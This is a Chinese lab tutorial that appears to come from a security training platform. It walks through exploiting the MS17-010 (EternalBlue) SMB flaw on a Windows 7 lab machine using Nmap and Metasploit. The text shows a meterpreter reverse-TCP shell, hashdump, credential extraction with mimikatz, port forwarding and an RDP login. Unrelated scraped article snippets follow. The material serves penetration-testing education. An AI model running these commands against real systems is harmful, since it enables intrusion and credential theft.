实验环境

  • 操作机 :Kali 2017

  • 操作机IP:172.16.11.2

  • 目标机:Windows 7

  • 目标机IP:172.16.12.2

实验目的

  • 认知Windows远程溢出漏洞的危害

  • 知悉MS17-010漏洞的发现和验证过程

  • 学习Metasploit工具的进阶使用

实验工具

Nmap:端口扫描探测工具,用于探测端口开放情况,本次使用其端口扫描和漏洞扫描功能

mestasploit:开源的渗透测试框架软件、综合型漏洞利用工具,本次实验使用其漏洞利用模块、meterpreter组件

实验内容

漏洞原理简述

MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。

函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。

实验步骤

曾经NSA工具箱泄露时,我们已经对永恒之蓝这个工具的使用做过讲解!【NSA黑客工具包】Windows 0day验证实验

然而,该工具的使用环境比较苛刻,而且操作较为复杂,现在msf已经加入该系列工具,使用方法更便捷。接下来,就开始操作吧!

第1步 端口探测

打开Kali终端,使用Nmap对目标机开放端口进行扫描

nmap  -sV -Pn 172.16.12.2

目标机开放了135 139 445 3389等端口,且目标机系统为Windows7,

第2步 漏洞扫描

我们使用用扫描模块,判断该漏洞是否可利用

还记得ms08-067的nmap扫描脚本吗?MSF也有扫描模块~

终端内输入

msfconsole

打开 metasploite 命令行客户端,使用search命令查找ms17-010漏洞的相关模块

search ms17-

如下是相关可用模块

使用use命令选择我们要使用的扫描模块

use auxiliary/scanner/smb/smb_ms17_010

在运行该模块之前,需要设置相关选项,我们使用show options查看配置信息

需要设置目标地址,设置命令:

set RHOSTS 172.16.12.2

设置完成后,执行runexploit命令,等待执行结果

第3步:漏洞利用

从上一步骤可以看出,该漏洞是可被利用的,接下来,我们祭出漏洞利用模块

use exploit/windows/smb/ms17_010_eternalblue

步骤同上,查看配置信息,并设置标记为yes的属性

show options

目标机host地址:172.16.12.2

set RHOST 172.16.12.2

注意此处为RHOST,与扫描时的RHOSTS不一样

之后,选择载荷payload,也就是shellcode,此处我们选择回连至控制端shellpayload

set payload  windows/x64/meterpreter/reverse_tcp

同样,载荷也需要进行配置,show options查看配置信息

配置中缺少本地主机 RHOST,设置一下

set LHOST 172.16.11.2

本地端口LPORT默认为4444,可通过set LPORT 端口号修改

完成配置后,运行exploit或者run,开始执行漏洞利用模块

成功获取来自目标主机的Session会话

第4步:远程登录目标机

我们已经成功的获取Session会话了,本次我们继续介绍meterpreter后渗透模块的其他功能

运行sysinfo查看目标机器相关信息

执行help命令可以帮助我们了解meterpreter有哪些功能

接下来,我们获取目标机hash值

执行hashdump

mimikatz是一个知名的密码提取神器。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证等,meterpreter中正集成了这款工具。

执行load mimikatz即可加载该工具,其命令与mimikatz一样

运行命令msv,导出hash

然后执行kerberos即可获得目标机账号密码

获取了目标机的账号密码,我们结合nmap的扫描结果,可以远程登陆目标机 但是现实中,防火墙一般会拦截外来3389端口的访问请求,这种情况下该怎么解决呢?

我们可以使用端口转发工具,将端口转发到访问者本地机器的某个端口,从而进行连接

运行命令

portfwd add -l  -L 127.0.0.1 -p  -r 172.16.12.2

此处,我们将远程目标的3389端口,转发到本机 172.16.11.2的3389上

本地端口号可设置为其他未监听的端口

如此,我们只要执行

rdesktop  127.0.0.1 -u ichunqiu  -p ichunqiu

即可登陆远程目标机器

实验结果分析与总结

通过本次实验,我们熟悉了从发现漏洞、到验证漏洞、再到利用漏洞这一过程,并进一步学习了Metasploit的后渗透模块的其他使用案例。

mestasploit笔记 :MS17-010的更多相关文章

  1. python笔记:#010#运算符

    运算符 目标 算数运算符 比较(关系)运算符 逻辑运算符 赋值运算符 运算符的优先级 数学符号表链接:https://zh.wikipedia.org/wiki/数学符号表 01. 算数运算符 是完成 ...

  2. NSA Fuzzbunch分析与利用案例

    Shadow Brokers泄露出一份震惊世界的机密文档,其中包含了多个 Windows 远程漏洞利用工具.本文主要介绍了其中一款工具Fuzzbunch的分析与利用案例 1 整体目录介绍 解压EQGR ...

  3. 2018-2019-2 20165319 《网络对抗技术》 Exp5:MSF基础应用

    实验内容 metasploit中有六个模块分别是 渗透攻击模块(Exploit Modules) 辅助模块(Auxiliary Modules 攻击载荷(Payload Modules) 空字段模块( ...

  4. MS17-010 漏洞研究——免考课题 20155104 赵文昊

    免考实验与研究--MS17-010漏洞研究 研究内容 ·MS17-010漏洞的来源 ·MS17-010漏洞的攻击实例 ·MS17-010漏洞原理分析 ·MS17-010代码分析 写在前面:这次对一个漏 ...

  5. 【译】使用OpenVAS 9进行漏洞扫描

    本文译自Vulnerability Scanning with OpenVAS 9 part 1: Installation & Setup系列,本文将融合目前已经发表的四个部分. Part ...

  6. 世界各国 MCC 和 MNC 列表

    http://www.cnblogs.com/inteliot/archive/2012/08/22/2651666.html常见MCC:代码(MCC)    ISO 3166-1    国家202 ...

  7. Python学习笔记010——匿名函数lambda

    1 语法 my_lambda = lambda arg1, arg2 : arg1 + arg2 + 1 arg1.arg2:参数 arg1 + arg2 + 1 :表达式 2 描述 匿名函数不需要r ...

  8. [国嵌笔记][010][TFTP与NFS服务器配置]

    交叉开发 嵌入式软件产生的平台称为宿主机,运行嵌入式软件的平台称为目标机 宿主机一般通过串口.网络.USB.JTAG等方式将软件下载到目标机 网络下载 一般有TFTP和NFS两种方式 tftp服务器 ...

  9. C++笔记010:C++对C的扩展——register关键字增强

    register关键字:请求编译器让变量直接放到CPU内部寄存器里面,而不是通过内存寻址访问,速度快. 在C语言中,register修饰的变量不能取地址,去寄存器变量的地址在C语言里面是会出错的. i ...

随机推荐

  1. Windows - CMD窗口UTF8编码乱码问题的解决!

    问题描述    用MS-DOC打开 UTF-8 的文件时, 显示乱码问题根源    CMD默认是Windows系统默认编码(GBK),    用GBK格式来解码UTF-8的文件当然会出现乱码.解决方案 ...

  2. java.lang.UnsatisfiedLinkError: dlopen failed: library "/system/lib/libjni_i

    出错log:java.lang.UnsatisfiedLinkError: dlopen failed: library "/system/lib/libskytvjni.so" ...

  3. 给任意view设置圆角outline.setRoundRect()方法实现

    效果图,给banner设置圆角,1没有直接修改imageView而是使用自带方法进行设置 具体方法如下 //圆角方法 @TargetApi(Build.VERSION_CODES.LOLLIPOP) ...

  4. java 获取当前方法的被调用信息(被那个方法那个类那一行调用)

    public void testMethod(){ Test1 t1 = new Test1(); t1.my(); } public static void main(String[] args) ...

  5. C++使用通配符查找文件(FindFirstFile)

    调用 FindFirstFile 和 FindNextFile 可搜索某个目录下的相应文件. BOOL SearchFilesByWildcard(WCHAR *wildcardPath) { HAN ...

  6. Ecshop 2.x-3.x RCE漏洞复现

    说是复现,其实来源于一道CTF题目(Ecshop3.x RCE) 链接:http://www.whalwl.cn:8030 1. 漏洞概述 ECShop的user.php文件中的display函数的模 ...

  7. 打造好用的C++ IDE环境

    https://www.jianshu.com/p/1aa989808e15 这哥们说的也是极好,也可以这部分直接看他的示例! mingw-w64应该可以算是mingw的改进版本吧,mingw系列编译 ...

  8. php静态方法

    静态方法 (1)静态方法不能访问这个类中的普通属性,因为那些属性属于一个对象,但可以访问静态属性: (2)从当前类(不是子类)中访问静态方法或属性,可以使用 self 关键字,self 指向当前类,就 ...

  9. JVM 性能调优工具

    jdk自带的工具,在macOs系统中的目录位置(jdk具体版本位置要替换):/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Ho ...

  10. RxSwift 在本质上简化了开发异步程序

    RxSwift 是一个组合异步和事件驱动编程的库,通过使用可观察序列和功能样式运算符来,从而允许通过调度程序进行参数化执行. RxSwift 在本质上简化了开发异步程序,允许代码对新数据作出反应,并以 ...